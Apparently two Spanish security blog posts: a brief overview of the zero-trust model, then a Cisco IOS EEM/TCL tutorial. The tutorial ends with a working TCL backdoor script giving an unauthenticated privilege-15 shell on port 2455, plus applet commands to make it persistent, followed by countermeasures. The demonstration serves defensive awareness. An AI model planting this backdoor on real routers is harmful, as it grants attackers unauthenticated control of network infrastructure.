Los tiempos están cambiando, y podríamos hablar de dos razones (aunque seguro existen otras) que ayudarían a acelerar un cambio en los modelos de seguridad, por un lado, un factor tecnológico, ya que cada vez hay más dispositivos móviles conectados a la red corporativa y más aún, con el auge del BYOD, y por otro, la situación socio-económica general de cada sector/organización/estado, y en particular, el ambiente laboral de cada usuario dentro de su organización, que podrían provocar fugas de información, por esto, podríamos hablar de que la red interna deja de ser confiable.

Por esta razón, existe el llamado modelo zero-trust, modelo de seguridad alternativo introducido en el 2010 por John Kindervag, principal analista de Forrester. En él, se establece el concepto “Verify and Never trust”, donde se considera todo el tráfico por igual, independientemente de su ubicación y del dispositivo o usuario que lo genere y por lo tanto, a priori, sujeto a los mismos controles de seguridad.

El modelo Zero-trust se basa en varios principios:

  • Garantizar el acceso seguro a todos los recursos independientemente de donde estén localizados.
  • Seguir una estrategia de mínimo privilegio y seguir una política estricta de control de acceso.
  • Inspeccionar y registrar todo el tráfico para validar la actividad en la red.

Forrester también presenta los conceptos de DAN (data adquisition network), una red que facilite la extracción de información de distintos sistemas (snmp, netflow, syslog, etc.) y los centralice en un único punto desde donde poder analizar la información en tiempo real de forma ágil, siempre teniendo en mente un diseño de red de dentro hacia fuera, y MCAP (micro-core and perimeter).

En este vídeo podemos ver a John Kindervag explicando la arquitectura de red en el modelo zero-trust.

Con este nuevo modelo, nuestra organización tendría que replantearse su estrategia de seguridad corporativa, definiendo por ejemplo, perfiles de conexión, para identificar quién, cómo, dónde y a qué información se accede, independientemente de que un usuario se conecte por cable, wifi, vpn, etc.

Actualmente, ya existen fabricantes como Paloalto, que implementan en sus dispositivos de seguridad este modelo. También Cisco tiene algo similar para el control de acceso llamado Ciscto TustSec. ¿Conocen algún otro fabricante? ¿Implementan medidas de seguridad en las conexiones internas de su organización o simplemente por estar en la red interna, ya se disponen de unos accesos independientemente de que usuario/departamento sea?

Jugando con Cisco EEM (II)

8 de enero de 2014 Por

Siguiendo con la entrada del otro día Jugando con Cisco EEM (I) otra opción que tenemos en EEM es generar acciones mediante scripts escritos en el lenguaje interpretado TCL (Tool Command Language 8.3.4) ), ya sea por que estén almacenados de forma local o en un servidor remoto.

Usar TCL nos permite disponer de toda la flexibilidad que el lenguaje nos proporciona, como el uso de namespaces, y permite la ejecución de comandos en IOS. Una buena guía para ello es el siguiente libro.

Dentro de IOS tenemos el intérprete interactivo de TCL donde podremos lanzar comandos propios de IOS: 

S2router#tclsh
S2router(tcl)# exec "copy running-config flash:tcl-copia.txt"                                                                                         
5644 bytes copied in 0.948 secs (5954 bytes/sec)    

S2router#dir                                                                    
Directory of flash:/                                                            
                                                                                
    1  -rw-    18716748  Dec 16 2008 08:40:28 +00:00  c1841-advsecurityk9-mz.12n
    2  -rw-        2746  Dec 16 2008 08:55:52 +00:00  sdmconfig-18xx.cfg        
    3  -rw-      931840  Dec 16 2008 08:56:14 +00:00  es.tar                    
    4  -rw-     1505280  Dec 16 2008 08:56:36 +00:00  common.tar                
    5  -rw-        1038  Dec 16 2008 08:56:54 +00:00  home.shtml                
    6  -rw-      112640  Dec 16 2008 08:57:12 +00:00  home.tar                  
    7  -rw-      527849  Dec 16 2008 08:57:30 +00:00  128MB.sdf                 
    8  -rw-        5644  Dec 27 2013 10:39:40 +00:00  backup.txt                
    9  -rw-        5702  Dec 27 2013 10:21:18 +00:00  copia.txt                 
   10  -rw-        5644  Dec 27 2013 10:43:42 +00:00  tcl-copia.txt

Por lo tanto, podríamos tener un script con la configuración anterior y una vez subido al sistema, por ejemplo por FTP, poder usarlo desde el kron como hemos visto antes llamando al comando tclsh flash:script.tcl o en un applet como una acción similar, no obstante, preferimos crear un script nuevo para compilar en el sistema y poder usarlo dentro del applet.

Para poder usar nuestro script, realizaremos los siguientes pasos:

    1. Creamos un script TCL que copie la configuración a flash. Lógicamente necesitaremos un mínimo de conocimiento de la estructura de programación TCL para nuestro script ya que hay que registrar la policy o usar namespaces. Nuestro script quedará de la siguiente forma:
::cisco::eem::event_register_none
namespace import ::cisco::eem::*
namespace import ::cisco::lib::*

if [catch {cli_open} result] {
 error $result $errorInfo
} else {
 array set cli $result
}
 
if [catch {cli_exec $cli(fd) "enable"} result] {
 error $result $errorInfo
}

if [catch {cli_exec $cli(fd) "copy running-config flash:TCL.txt"} result] {
 error $result $errorInfo
}

cli_close $cli(fd) $cli(tty_id)

El script se llama desde un VTY por lo tanto, es muy importante el cierre de sesiones después de que el script realice su tarea ya que podríamos perder el acceso remoto si ocupamos todas las sesiones disponibles.

    2. Creamos un directorio para guardar los scripts y almacenamos nuestro script en él:
    
S2router#mkdir  flash:policies                                                  
Created dir flash:policies                                                      
S2router#copy flash:script.tcl flash:/policies/   

S2router#copy  ftp:script.tcl flash:/policies/                                  
Accessing ftp://172.18.0.150/script.tcl...                                      
Loading script.tcl                                                              
[OK - 113/4096 bytes]                                                           
                                                                                
113 bytes copied in 10.776 secs (10 bytes/sec)
    3. Registramos el directorio donde almacenaremos los script en Cisco IOS EEM:
S2router(config)# event manager directory user policy flash:/policies

S2router# show event manager directory  user  policy                               
flash:/policies
    4. A continuación, registramos nuestro script. Al registrarlo, el sistema lo compila para poder usarlo después (debug activado)
S2router(config)# event manager policy script.tcl type user                                
                                                                                                                  
*Dec 27 11:31:24.859: fh_tcl_get_mode: mode = 0, StartupScript = flash:/policies/
    script.tcl, RealScript = flash:/policies/script.tcl    
*Dec 27 11:31:24.863: fh_register_evreg_cmds: tctx=63F539A8, dummy=0                                                                    
*Dec 27 11:31:24.867: fh_compile_check: filename=flash:/policies/script.tcl                                                             
*Dec 27 11:31:24.879: fh_compile_check: current_scriptname=script.tcl                                                                   
*Dec 27 11:31:24.895: tclsh: precompilation passed                                                                                     
*Dec 27 11:31:24.907: [fh_event_register_none_cmd]                                                                                      
*Dec 27 11:31:24.907: fh_tcl_assoc_data_delproc: freeing tctx=63F539A8

Ya tenemos nuestro script disponible para usarlo, por lo que aparece como available de tipo usuario. Podemos ver que hay otros definidos de tipo system:

S2router# show  event manager  policy available                                  
No.  Type    Time Created                  Name                                 
1    user    Tue Dec28  11:05:36 1943      script.tcl                           
2    system  Thu Feb 7  06:28:15 2036      sl_intf_down.tcl                     
3    system  Thu Feb 7  06:28:15 2036      tm_cli_cmd.tcl
    5. Finalmente, podremos asociarlo a nuestro applet:
S2router(config)# event manager applet ACCESOS                                 
S2router(config-applet)# event syslog pattern "Privilege level set to 15 by"    
S2router(config-applet)# action 1.0 cli syslog priority debugging msg 
    "ACCESO PRIVILEGIADO"               
S2router(config-applet)# action 2.0 policy script.tcl

Y comprobamos que lo tenemos registrado correctamente en el sistema:

S2router# show  event manager  policy  registered 
No.  Class   Type    Event Type          Trap  Time Registered           Name
1    applet  system  syslog              Off   Fri Dec 27 11:09:31 2013  ACCESOS
 pattern {Privilege level set to 15 by}
 action 1.0 syslog priority debugging msg "ACCESO PRIVILEGIADO"
 action 2.0 policy script.tcl

2    script  user    none                Off   Fri Dec 27 11:23:48 2013  script.tcl
 policyname {script.tcl}
 nice 0 queue-priority normal maxrun 20.000

En este momento, accedemos de forma remota al dispositivo en modo privilegiado, viendo por consola la ejecución del script si tenemos el debug activado:

*Dec 27 12:09:41.383: %SYS-5-PRIV_AUTH_PASS: Privilege level set to 15 by jose on vty0 
    (172.18.0.150)                                   
*Dec 27 12:09:41.391: %HA_EM-7-LOG: ACCESOS: ACCESO PRIVILEGIADO                                                                                                                                                                                               
*Dec 27 12:09:41.395: fh_tcl_esi_open: fd=0                                                                                             
*Dec 27 12:09:41.395: fh_tcl_esi_open: fd=3                                                                                             
*Dec 27 12:09:41.395: fh_tcl_esi_open: fd=4                                                                                             
*Dec 27 12:09:41.399: fh_tcl_get_mode: mode = 1, StartupScript = system:/lib/tcl/
    base.tcl, RealScript = system:/lib/tcl/eem_scripts_regl
*Dec 27 12:09:41.423: fh_register_evreg_cmds: tctx=63138D2C, dummy=1                                                                    
*Dec 27 12:09:41.427: fh_tcl_compile_policy: evaluating policy: startup_scriptname
    =system:/lib/tcl/base.tcl, real_scriptname=system:/lil
*Dec 27 12:09:41.431: fh_tcl_slave_interp_init: interp=63126C18, tctx=63138D2C, 
    fh_mode=1,real=system:/lib/tcl/eem_scripts_registered/=
*Dec 27 12:09:41.451: fh_register_evreg_cmds: tctx=63138D2C, dummy=1                                                                    
*Dec 27 12:09:41.715: [fh_dummy_cmd]                                                                                                    
*Dec 27 12:09:42.031: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:42.031: [fh_tty_open_cmd]                                                                                                 
*Dec 27 12:09:42.035: [fh_sys_reqinfo_routername_cmd]                                                                                   
*Dec 27 12:09:42.035: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.035: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:42.155: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.155: [fh_tty_read_cmd] size= 39                                                                                        
*Dec 27 12:09:42.255: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:42.255: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:42.255: [fh_tty_write_cmd]                                                                                                
*Dec 27 12:09:42.255: [fh_tty_write_cmd] cmd = enable, cmdsize = 6                                                                      
*Dec 27 12:09:42.255: [fh_sys_reqinfo_routername_cmd]                                                                                   
*Dec 27 12:09:42.255: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.255: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:42.359: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.359: [fh_tty_read_cmd] size= 11                                                                                        
*Dec 27 12:09:42.459: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:42.459: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:42.459: [fh_tty_write_cmd]                                                                                                
*Dec 27 12:09:42.459: [fh_tty_write_cmd] cmd = copy running-config 
   flash:TCL.txt, cmdsize = 33                                          
*Dec 27 12:09:42.459: [fh_sys_reqinfo_routername_cmd]                                                                                   
*Dec 27 12:09:42.459: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.459: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:42.663: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.663: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:42.863: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.863: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:43.063: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:43.063: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:43.227: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:43.227: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:43.343: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:43.343: [fh_tty_read_cmd] size= 61                                                                                        
*Dec 27 12:09:43.447: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:43.447: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:43.447: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:43.447: [fh_tty_write_cmd]                                                                                                
*Dec 27 12:09:43.447: [fh_tty_write_cmd] cmd = exit, cmdsize = 4                                                                        
*Dec 27 12:09:43.547: [fh_tty_close_cmd]                                                                                                
*Dec 27 12:09:43.559: fh_tcl_esi_close: fd=0                                                                                            
*Dec 27 12:09:43.559: fh_tcl_assoc_data_delproc: freeing tctx=63138D2C                                                                  
*Dec 27 12:09:43.583: fh_tcl_esi_close: fd=4                                                                                            
*Dec 27 12:09:43.583: fh_tcl_esi_close: fd=3

Y en la flash ya estaría nuestra copia de seguridad: 

S2router#dir                                                                    
Directory of flash:/                                                            
                                                                                
    1  -rw-    18716748  Dec 16 2008 08:40:28 +00:00  c1841-advsecurityk9-mz.12n
    2  -rw-        2746  Dec 16 2008 08:55:52 +00:00  sdmconfig-18xx.cfg        
    3  -rw-      931840  Dec 16 2008 08:56:14 +00:00  es.tar                    
    4  -rw-     1505280  Dec 16 2008 08:56:36 +00:00  common.tar                
    5  -rw-        1038  Dec 16 2008 08:56:54 +00:00  home.shtml                
    6  -rw-      112640  Dec 16 2008 08:57:12 +00:00  home.tar                  
    7  -rw-      527849  Dec 16 2008 08:57:30 +00:00  128MB.sdf                 
    8  -rw-        5644  Dec 27 2013 10:39:40 +00:00  backup.txt                
    9  -rw-        5702  Dec 27 2013 10:21:18 +00:00  copia.txt                 
   10  -rw-        5644  Dec 27 2013 10:43:42 +00:00  tcl-copia.txt    
   11  -rw-        5579  Dec 27 2013 12:09:42 +00:00  TCL.txt   
   12  drw-           0  Dec 27 2013 10:58:06 +00:00 policies

Como hemos visto, EEM es una herramienta muy potente a la hora de ejecutar acciones ante la detección de eventos generados por los distintos subsistemas de IOS, no obstante, hay que tener cuidado con los scripts que subimos al sistema ya que, al igual que nos pueden ayudar en la identificación y notificación proactiva de eventos, pueden suponer un problema de seguridad.

Imaginemos por ejemplo que cargamos un script que abre un socket en el router de forma que dispongamos de una puerta trasera para la autenticación habitual configurada para el sistema, como muy bien explican en el paper Creating Backdoors in Cisco IOS using Tcl.

Resumiendo el paper, subimos un script TCL que abre un socket en el puerto 2455 de nuestro router ; en nuestro caso, el script usado, del mismo autor, es distinto al mostrado en el paper anterior, y en lugar de cargarlo como el intérprete de TCL, lo añadimos como acción a un applet EEM.

proc callback {sock addr port} {
fconfigure $sock -translation lf -buffering line
puts $sock " "
puts $sock "-------------------------------------"
puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"
puts $sock "-------------------------------------"
puts $sock " "
set response [exec "sh ver | inc IOS"]
puts $sock $response
set response [exec "sh priv"]
puts $sock $response
puts $sock " "
puts $sock "#"
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
if {[eof $sock] || [catch {gets $sock line}]} {
} else {
set response [exec "$line"]
puts $sock $response
}
}
set port 2455
set sh [socket -server callback $port]
vwait var
close $sh

A continuación lo subimos a nuestro directorio de policies:

S2router#copy  ftp:shell.tcl flash:policies/
Accessing ftp://172.18.0.150/shell.tcl...                                       
Loading shell.tcl !                                                             
[OK - 664/4096 bytes] 

S2router#dir  flash:policies                                                    
Directory of flash:/policies/                                                   
                                                                                
   14  -rw-         411  Dec 27 2013 12:09:08 +00:00  script.tcl                
   18  -rw-         664  Dec 27 2013 17:27:52 +00:00  shell.tcl

Todavía no lo hemos añadido como applet, no obstante, probamos su funcionamiento (bloquea la consola): 

S2router# tclsh flash:policies/shell.tcl

Et voilà, tenemos una consola en el dispositivo sin necesidad de autenticarnos: 

jvillalon@PC:~$ telnet 172.18.0.200 2455
Trying 172.18.0.200...
Connected to 172.18.0.200.
Escape character is '^]'.
 
-------------------------------------
TclShell v0.1 by Andy Davis, IRM 2007
-------------------------------------
 
Cisco IOS Software, 1841 Software (C1841-ADVSECURITYK9-M), Version 12.4(3i), 
    RELEASE SOFTWARE (fc2)

Current privilege level is 15

Podemos ver que hay una sesión establecida en el puerto del backdoor:

S2router#show  tcp  brief 
TCB       Local Address           Foreign Address        (state)
6426FA4C  172.18.0.200.2455       172.18.0.150.60755     ESTAB
6427156C  172.18.0.200.22         172.18.0.150.40359     ESTAB

Si finalmente lo usamos en nuestro applet, dispondremos de acceso y sin bloqueo de la consola (se lanza cada 5 segundos):

S2router(config)#  event manager applet SHELL
S2router(config-applet)# event timer countdown time 5
S2router(config-applet)# action 1.0 cli command "enable"
S2router(config-applet)# action 2.0 cli command "tclsh flash:policies/shell.tcl"

Aunque cuando se ejecuta un script se ejecuta como safe TCL mode, con restricciones a la hora de ejecutar algunos comandos de acceso al sistema para asegurar la integridad del sistema, hemos visto claramente que hay otras acciones que podemos llevar a cabo sin problemas.

Una posible contramedida si usamos EEM podría ser limitar el usuario con que se ejecutan las políticas EEM con el comando event manager session cli username de forma que, cuando tenemos un servidor TACACS+ configurado, podremos validar que comandos puede ejecutar el script en base a los permisos del usuario. Otras contramedidas a nivel global sería disponer de nuestros sistemas actualizados, limitar el acceso al Shell de TCL a los usuarios o los comandos que pueden ejecutarse en el script, aunque esté disponible para el administrador (enable mode) por defecto, y por supuesto, revisar todos los scripts que tengamos que utilizar en nuestro sistema.

Finalmente, si miramos atrás, podemos observar que sólo hemos usado un patrón de búsqueda en los applets no obstante, en las versiones nuevas de EEM (a partir de la versión 2.4), es posible definir varios patrones permitiéndonos una correlación de eventos (entre 6 y 8) durante una ventana temporal; en nuestro ejemplo, podríamos hacer una copia de seguridad cuando un administrador entre al dispositivo y notificar por correo electrónico si además, entra en modo de configuración. La nueva versión también permite usar bytecode scripts (BCL), mejorando el rendimiento debido a que el script ya esta compilado.

Ejemplos más útiles del uso de EEM podrían ser disponer de un script que modifique las rutas de red automáticamente si se detecta algún tipo de caída (similar a los sla monitor y tracks), un script que añada a una ACL definida, una dirección IP que nuestros patrones identifiquen como atacante si no disponemos de un IDS/IPS o que nos alerte en caso de que los contadores de las ACLs superen un umbral concreto.